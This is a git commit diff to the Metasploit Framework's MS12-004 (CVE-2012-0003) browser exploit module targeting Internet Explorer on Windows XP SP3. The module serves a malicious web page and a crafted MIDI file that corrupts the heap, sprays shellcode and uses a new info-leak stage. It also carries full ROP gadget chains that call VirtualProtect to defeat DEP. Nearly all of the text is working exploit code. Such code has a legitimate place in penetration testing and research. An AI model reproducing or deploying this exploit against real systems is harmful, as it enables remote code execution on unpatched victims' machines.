Merge branch 'ms12_004_leaky_icky' of https://github.com/wchen-r7/metasploit-framework into wchen-r7-ms12_004_leaky_icky

unstable
jvazquez-r7 2012-12-21 21:01:05 +01:00
commit ff4b959c04
1 changed files with 290 additions and 193 deletions

View File

@ -1,8 +1,8 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
@ -11,6 +11,7 @@ class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::RopDb
include Msf::Exploit::Remote::BrowserAutopwn
autopwn_info({
:ua_name => HttpClients::IE,
@ -42,10 +43,13 @@ class Metasploit3 < Msf::Exploit::Remote
(CImplAry) we setup, and force the browser to confuse types from tagVARIANT objects,
which leverages remote code execution under the context of the user.
Note: At this time, for IE 8 target, you may either choose the JRE ROP, or the
msvcrt ROP to bypass DEP (Data Execution Prevention).
Note: At this time, for IE 8 target, msvcrt ROP is used by default. However,
if you know your target's patch level, you may also try the 'MSHTML' advanced
option for an info leak based attack. Currently, this module only supports two
MSHTML builds: 8.0.6001.18702, which is often seen in a newly installed XP SP3.
Or 8.0.6001.19120, which is patch level before the MS12-004 fix.
Also, based on our testing, the vulnerability does not seem to trigger when
Also, based on our testing, the vulnerability does not seem to trigger when
the victim machine is operated via rdesktop.
},
'License' => MSF_LICENSE,
@ -61,16 +65,16 @@ class Metasploit3 < Msf::Exploit::Remote
[ 'CVE', '2012-0003' ],
[ 'OSVDB', '78210'],
[ 'BID', '51292'],
[ 'URL', 'http://www.vupen.com/blog/20120117.Advanced_Exploitation_of_Windows_MS12-004_CVE-2012-0003.php' ],
[ 'URL', 'http://www.vupen.com/blog/20120117.Advanced_Exploitation_of_Windows_MS12-004_CVE-2012-0003.php' ]
],
'Payload' =>
{
'Space' => 1024,
'Space' => 1024
},
'DefaultOptions' =>
{
'EXITFUNC' => "process",
'InitialAutoRunScript' => 'migrate -f',
'InitialAutoRunScript' => 'migrate -f'
},
'Platform' => 'win',
'Targets' =>
@ -79,40 +83,27 @@ class Metasploit3 < Msf::Exploit::Remote
[
'IE 6 on Windows XP SP3',
{
'Rop' => nil,
'Rop' => false,
'DispatchDst' => 0x0c0c0c0c
}
],
[
'IE 7 on Windows XP SP3',
{
'Rop' => nil,
'Rop' => false,
'DispatchDst' => 0x0c0c0c0c
}
],
[
'IE 8 on Windows XP SP3 with JRE ROP',
'IE 8 on Windows XP SP3',
{
# xchg ecx,esp
# or byte ptr [eax],al
# add byte ptr [edi+5Eh],bl
# ret 8
# From IMAGEHLP
'Rop' => :msvcr71,
'StackPivot' => 0x76C9B4C2,
'DispatchDst' => 0x0c0c1be4
}
],
[
'IE 8 on Windows XP SP3 with msvcrt',
{
# xchg ecx,esp
# or byte ptr [eax],al
# add byte ptr [edi+5Eh],bl
# ret 8
# From IMAGEHLP
'Rop' => :msvcrt,
'StackPivot' => 0x76C9B4C2,
'Rop' => true,
'StackPivot' => 0x76C9B4C2,
'DispatchDst' => 0x0c0c1bd0
}
]
@ -126,11 +117,39 @@ class Metasploit3 < Msf::Exploit::Remote
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
], self.class)
register_advanced_options(
[
OptEnum.new('MSHTML',
[
false, "MSHTML Build Version", '',
[
'', #Default (no leaky leaky)
'8.0.6001.18702', #newly installed Win XP SP3 non patched
'8.0.6001.19120' #fully patched before KB2598479 - been the same at least since Sep 2011
]
])
], self.class)
end
def exploit
@m_name, @midi = get_midi
@ml_name, @midi_leak = get_midi("leak")
@second_stage_url = rand_text_alpha(10)
@leak_param = rand_text_alpha(5)
# Offset to CFunctionPointer vftable in MSHTML
case datastore['MSHTML']
when '8.0.6001.18702'
@offset = 0xbf190
when '8.0.6001.19120'
@offset = 0xd92c8
end
super
end
def get_target(request)
agent = request.headers['User-Agent']
vprint_status("Request from: #{agent}")
print_status("Request as: #{agent}")
if agent =~ /NT 5\.1/ and agent =~ /MSIE 6\.0/
#Windows XP SP3 + IE 6.0
@ -139,14 +158,15 @@ class Metasploit3 < Msf::Exploit::Remote
#Windows XP SP3 + IE 7.0
return targets[2]
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8\.0/
#Windows XP SP3 + IE 8.0 + JRE6
#Windows XP SP3 + IE 8.0
return targets[3]
else
return nil
end
end
def get_midi
# stage => "corruption" (default) | "leak"
def get_midi(stage="corruption")
# MIDI Fileformat Reference:
# http://www.sonicspot.com/guide/midifiles.html
#
@ -183,9 +203,13 @@ class Metasploit3 < Msf::Exploit::Remote
tc << "\x85\x50\x99\x23\x7F"
# Corruption events
# Midi Channel Event - Note On
tc << "\x00\x9F\xb2\x73"
# Ends Corruption events
if stage == "corruption"
# Midi Channel Event - Note On
tc << "\x00\x9F\xb2\x73"
else
# Midi Channel Event - Note Off (trigger a leak)
tc << "\x00\x8F\xb2\x73"
end
# Meta Event - End Of Track
tc << "\x00\xFF\x2F\x00"
@ -201,58 +225,85 @@ class Metasploit3 < Msf::Exploit::Remote
m << [tc.length].pack('N')
m << tc
midi_name = "test_case.mid"
#midi_name = "test_case.mid"
midi_name = rand_text_alpha(5) + ".mid"
return midi_name, m
end
def on_request_uri(cli, request)
if request.uri =~ /\.mid$/i
print_status("Sending midi file")
send_response(cli, @midi, {'Content-Type'=>'application/octet-strem'})
return
end
#Set default target
# Initialize a target. If none suitable, then we don't continue.
my_target = target
#If user chooses automatic target, we choose one based on user agent
if my_target.name =~ /Automatic/
my_target = get_target(request)
if my_target.nil?
agent = request.headers['User-Agent']
if my_target.nil? and agent !~ /Windows\-Media\-Player|NSPlayer/
send_not_found(cli)
print_error("Unknown user-agent")
return
end
vprint_status("Target selected: #{my_target.name}")
vprint_status("Target selected: #{my_target.name}") if not my_target.nil?
end
# Send the corrupt midi file to trigger a memory leak, or a crash to that points
# to an arbitrary address.
if request.uri =~ /#{@ml_name}$/i
print_status("Testing for info leak...")
send_response(cli, @midi_leak, {'Content-Type'=>'application/octet-strem'})
return
elsif request.uri =~ /#{@m_name}$/i
print_status("Sending midi corruption file...")
send_response(cli, @midi, {'Content-Type'=>'application/octet-strem'})
return
end
# Send the appropriate stage
if datastore['MSHTML'].to_s != '' and my_target['Rop']
if request.uri =~ /#{@second_stage_url}/
leak = begin
request.uri_parts["QueryString"][@leak_param].to_i
rescue
0
end
print_status("Leaked address: 0x#{leak.to_s(16)}")
send_stage(cli, my_target, 'trigger', leak)
return
end
send_stage(cli, my_target, 'leak')
else
send_stage(cli, my_target)
end
end
def send_stage(cli, my_target, stage='trigger', leak=0)
midi_uri = ('/' == get_resource[-1,1]) ? get_resource[0, get_resource.length-1] : get_resource
midi_uri << "/#{@m_name}"
spray = build_spray(my_target)
if datastore['OBFUSCATE']
spray = ::Rex::Exploitation::JSObfu.new(spray)
spray.obfuscate
if stage == 'leak'
midi_uri << "/#{@ml_name}"
trigger = build_trigger(my_target, "leak")
else
midi_uri << "/#{@m_name}"
trigger = build_trigger(my_target)
spray = build_spray(my_target, leak)
end
trigger = build_trigger(my_target)
trigger_fn = "trigger"
if datastore['OBFUSCATE']
spray = ::Rex::Exploitation::JSObfu.new(spray).obfuscate
trigger = ::Rex::Exploitation::JSObfu.new(trigger)
trigger.obfuscate
trigger_fn = trigger.sym("trigger")
trigger_fn = trigger.sym('trigger')
else
trigger_fn = 'trigger'
end
html = %Q|
<html>
<head>
<script language='javascript'>
#{spray}
#{spray}
</script>
<script language='javascript'>
#{trigger}
</script>
@ -276,39 +327,34 @@ class Metasploit3 < Msf::Exploit::Remote
html = html.gsub(/^\t\t/, '')
print_status("Sending HTML")
print_status("Sending html to #{cli.peerhost}:#{cli.peerport}...")
send_response(cli, html, {'Content-Type'=>'text/html'})
end
def exploit
@m_name, @midi = get_midi
super
end
def build_spray(my_target)
def build_spray(my_target, leak=0)
# Extract string based on target
if my_target.name =~ /JRE ROP$/
if my_target.name == 'IE 8 on Windows XP SP3'
js_extract_str = "var block = shellcode.substring(2, (0x40000-0x21)/2);"
js_shellcode = "var shellcode = nops.substring(0,0x800 - code.length) + code;"
elsif my_target.name =~ /msvcrt$/
js_extract_str = "var block = shellcode.substring(0, (0x80000-6)/2);"
js_shellcode = "var shellcode = nops.substring(0,0x800 - code.length) + code;"
else
js_extract_str = "var block = shellcode.substring(0, (0x80000-6)/2);"
js_shellcode = "var shellcode = nops.substring(0,0x800 - code.length) + code;"
end
# Build shellcode based on Rop requirement
if my_target['Rop']
code = create_rop_chain(my_target)
code = ''
if my_target['Rop'] and datastore['MSHTML'].to_s != ''
print_status("Generating ROP using info-leak: 0x#{leak.to_s(16)}")
code << create_info_leak_rop(my_target, leak)
code << payload.encoded
shellcode = Rex::Text.to_unescape(code)
elsif my_target['Rop'] and datastore['MSHTML'].to_s == ''
print_status("Generating ROP using msvcrt")
code << create_rop(my_target, payload.encoded)
else
code = payload.encoded
shellcode = Rex::Text.to_unescape(code)
code << payload.encoded
end
shellcode = Rex::Text.to_unescape(code)
# 1. Create big block of nops
# 2. Compose one block which is nops + shellcode
# 3. Repeat the block
@ -321,9 +367,7 @@ class Metasploit3 < Msf::Exploit::Remote
var nops = unescape("%u0c0c%u0c0c");
while (nops.length < 0x1000) nops+= nops;
#{js_shellcode}
var shellcode = nops.substring(0,0x800 - code.length) + code;
while (shellcode.length < 0x40000) shellcode += shellcode;
#{js_extract_str}
@ -340,7 +384,8 @@ class Metasploit3 < Msf::Exploit::Remote
end
# Build the JavaScript string for the attributes
def build_element(element_name, my_target)
# type => "corruption" (default) | "leak"
def build_element(element_name, my_target, type="corruption")
dst = Rex::Text.to_unescape([my_target['DispatchDst']].pack("V"))
element = ''
@ -356,7 +401,12 @@ class Metasploit3 < Msf::Exploit::Remote
# Build attributes
0.upto(max) do |i|
obj = (i==index) ? "unescape(\"#{dst}\")" : "alert"
case type
when "corruption"
obj = (i==index) ? "unescape(\"#{dst}\")" : "alert"
else #leak
obj = "alert"
end
element << "#{element_name}.w#{i.to_s} = #{obj}" + "\n"
end
@ -369,54 +419,16 @@ class Metasploit3 < Msf::Exploit::Remote
# 3. Make holes
# 4. Let windows media play the crafted midi file and corrupt the heap
# 5. Force the using of the confused tagVARIANT.
def build_trigger(my_target)
if my_target.name =~ /IE 8 on Windows XP SP3/
# Redoing the feng shui if fails makes it reliable
js_trigger = <<-JSTRIGGER
function trigger(){
var k = 999;
while (k > 0) {
if (typeof(clones[k].w1) == "string") {
} else {
clones[k].w1('come on!');
}
k = k - 2;
}
feng_shui();
document.audio.Play();
}
JSTRIGGER
select_element = build_element('selob', my_target)
else
js_trigger = <<-JSTRIGGER
function trigger(){
var k = 999;
while (k > 0) {
if (typeof(clones[k].w0) == "string") {
} else {
clones[k].w0('come on!');
}
k = k - 2;
}
feng_shui();
document.audio.Play();
}
JSTRIGGER
select_element = build_element('selob', my_target)
end
def build_trigger(my_target, type="corruption")
js_trigger = build_trigger_fn(my_target, type)
select_element = build_element('selob', my_target, type)
trigger = <<-JS
var heap = new heapLib.ie();
#{select_element}
var clones=new Array(1000);
var clones = new Array(1000);
function feng_shui() {
heap.gc();
var i = 0;
@ -431,7 +443,6 @@ class Metasploit3 < Msf::Exploit::Remote
CollectGarbage();
j = j + 2;
}
}
feng_shui();
@ -443,85 +454,171 @@ class Metasploit3 < Msf::Exploit::Remote
return trigger
end
def junk(n=1)
tmp = []
value = rand_text(4).unpack("L")[0].to_i
n.times { tmp << value }
return tmp
# type = "corruption" (default) | "leak"
def build_trigger_fn(my_target, type="corruption")
js_trigger=""
case type
when "corruption"
js_trigger = js_trigger_fn_corruption(my_target)
when "leak"
js_trigger = js_trigger_fn_leak(my_target)
end
return js_trigger
end
def nop
return make_nops(4).unpack("L")[0].to_i
# Redoing the feng shui if fails makes it reliable
def js_trigger_fn_corruption(my_target)
attribute = (my_target.name == 'IE 8 on Windows XP SP3') ? 'w1' : 'w0'
js = %Q|
function trigger(){
var k = 999;
while (k > 0) {
if (typeof(clones[k].#{attribute}) == "string") {
} else {
clones[k].#{attribute}('come on!');
}
k = k - 2;
}
feng_shui();
document.audio.Play();
}
|
return js
end
def create_rop_chain(my_target)
pivot = my_target['StackPivot']
case my_target['Rop']
when :msvcrt
rop_gadgets =
[
0x77c539ee, # RETN
pivot,
junk,
0x77c4e392, # POP EAX # RETN
0x77c11120, # <- *&VirtualProtect()
0x77c2e493, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN
junk,
0x77c2dd6c,
0x77c4ec00, # POP EBP # RETN
0x77c35459, # ptr to 'push esp # ret'
0x77c47705, # POP EBX # RETN
0x00000400, # <- change size to mark as executable if needed (-> ebx)
0x77c3ea01, # POP ECX # RETN
0x77c5d000, # W pointer (lpOldProtect) (-> ecx)
0x77c46100, # POP EDI # RETN
0x77c46101, # ROP NOP (-> edi)
0x77c4d680, # POP EDX # RETN
0x00000040, # newProtect (0x40) (-> edx)
0x77c4e392, # POP EAX # RETN
nop, # NOPS (-> eax)
0x77c12df9, # PUSHAD # RETN
].flatten.pack("V*")
when :msvcr71
rop_gadgets =
[
0x7c347f98, # RETN (ROP NOP)
pivot, # stackpivot
junk, # padding
0x7c376402, # POP EBP # RETN
0x7c376402, # skip 4 bytes
0x7c347f97, # POP EAX # RETN
0xfffff800, # Value to negate, will become 0x00000201 (dwSize)
0x7c351e05, # NEG EAX # RETN
0x7c354901, # POP EBX # RETN
0xffffffff,
0x7c345255, # INC EBX # FPATAN # RETN
0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN
0x7c344f87, # POP EDX # RETN
0xffffffc0, # Value to negate, will become 0x00000040
0x7c351eb1, # NEG EDX # RETN
0x7c34d201, # POP ECX # RETN
0x7c38b001, # &Writable location
0x7c34b8d7, # POP EDI # RETN
0x7c347f98, # RETN (ROP NOP)
0x7c364802, # POP ESI # RETN
0x7c3415a2, # JMP [EAX]
0x7c347f97, # POP EAX # RETN
0x7c37a151, # ptr to &VirtualProtect() - 0x0EF (IAT)
0x7c378c81, # PUSHAD # ADD AL,0EF # RETN
0x7c345c30, # ptr to 'push esp # ret'
].flatten.pack('V*')
# Redoing the feng shui if fails makes it reliable
def js_trigger_fn_leak(my_target)
js_trigger = ""
if my_target.name == 'IE 8 on Windows XP SP3'
js_trigger = <<-JSTRIGGER
function trigger(){
var k = 999;
while (k > 0) {
if (typeof(clones[k].w1) == "string") {
var leak = clones[k].w1.charCodeAt(1)*0x10000 + clones[k].w1.charCodeAt(0)
document.location = "#{get_resource}/#{@second_stage_url}" + "?#{@leak_param}=" + leak
return;
}
k = k - 2;
}
feng_shui();
document.audio.Play();
}
JSTRIGGER
end
return rop_gadgets
return js_trigger
end
def create_rop(t, p)
# MSVCRT.dll ROP
padding = ''
padding << [0x77C4CA70].pack("V*") #ADD ESP,0C; RET
padding << [t['StackPivot']].pack("V*")
padding << [0x77C4CA73].pack("V*") * 12 #ROP NOPs
generate_rop_payload('msvcrt', p, {'pivot'=>padding, 'target'=>'xp'})
end
def create_info_leak_rop(my_target, leak = 0x0)
base = (leak == 0x00) ? 0x63580000 : (leak - @offset)
print_status("Image base of mshtml: 0x%x" %base)
# Generate the gadgets based on offset
rop_gadgets = ''
case @offset
when 0xd92c8
rop_gadgets =
[
:junk,
:junk,
0x328468, # push ecx # pop esp # pop edi # pop esi # pop ebp # retn 14
:junk,
0x247e5d, # ROP NOPs
0x247e5d,
0x247e5d,
0x247e5d,
0x247e5d,
0x247e5d,
0x247e5d,
0x247e5c, # POP ESI # RETN [mshtml.dll]
0x137c, # ptr to &VirtualProtect() [IAT mshtml.dll]
0x3c8db7, # MOV EDX,DWORD PTR DS:[ESI] # ADD EAX,8BCE8B00 # RETN [mshtml.dll]
0x42e239, # PUSH EDX # XOR EAX,EAX # POP ESI # POP EBP # RETN 0x08 [mshtml.dll]
:junk,
0x3460c, # POP EBP # RETN [mshtml.dll]
:junk,
:junk,
0x23ef79, # & jmp esp [mshtml.dll]
0x189303, # POP EBX # RETN [mshtml.dll]
:ebx, # 0x00000201-> ebx
0x20437c, # POP EDX # RETN [mshtml.dll]
:edx, # 0x00000040-> edx
0xc277, # POP ECX # RETN [mshtml.dll]
0x53a47d, # &Writable location [mshtml.dll]
0x4a33e2, # POP EDI # RETN [mshtml.dll]
0x4b601, # RETN (ROP NOP) [mshtml.dll]
0x33fbc6, # POP EAX # RETN [mshtml.dll]
:nop,
0x52c718 # PUSHAD # RETN [mshtml.dll]
]
when 0xbf190
rop_gadgets =
[
:junk,
0x3338ae, # push ecx # pop esp # pop edi # pop esi # pop ebp # retn 14
:junk,
0xe9e7, # POP ECX # RETN [mshtml.dll] 0x6358e9e7
:junk,
:junk,
:junk,
:junk,
:junk,
0x1318, # ptr to &VirtualProtect() [IAT mshtml.dll]
0x48b440, # MOV EDX,DWORD PTR DS:[ECX] # RETN [mshtml.dll]
0x3dc745, # POP ESI # RETN [mshtml.dll]
:neg, # 0xffffffff
0x2fb18b, # INC ESI # RETN [mshtml.dll]
0x35190d, # ADC ESI,EDX # DEC ECX # RETN 08 [mshtml.dll]
0x4aada7, # POP EBP # RETN [mshtml.dll]
:junk, # Compensates RETN
:junk, # Compensates RETN
0x1ffc54, # & jmp esp [mshtml.dll]
0x4498a7, # POP EBX # RETN [mshtml.dll]
:ebx, # 0x00000800: 0x00000201-> ebx
0x24cce4, # POP EDX # RETN [mshtml.dll]
:edx, # 0x00000040-> edx
0x158306, # POP ECX # RETN [mshtml.dll]
0x535098, # &Writable location [mshtml.dll]
0x1cf217, # POP EDI # RETN [mshtml.dll]
0xa0001, # RETN (ROP NOP) [mshtml.dll]
0x349f9b, # POP EAX # RETN [mshtml.dll]
:nop,
0x2afbe8 # PUSHAD # RETN [mshtml.dll]
]
end
nops = make_nops(4).unpack("L")[0].to_i
rop_gadgets.map! { |e|
if e == :junk
rand_text(4).unpack("L")[0].to_i
elsif e == :neg
0xffffffff
elsif e == :ebx
0x00000800
elsif e == :edx
0x00000040
elsif e == :nop
nops
else
base + e
end
}
chain = rop_gadgets.pack('V*')
return chain
end
end
=begin
6367893A FF51 04 CALL DWORD PTR DS:[ECX+4]
=end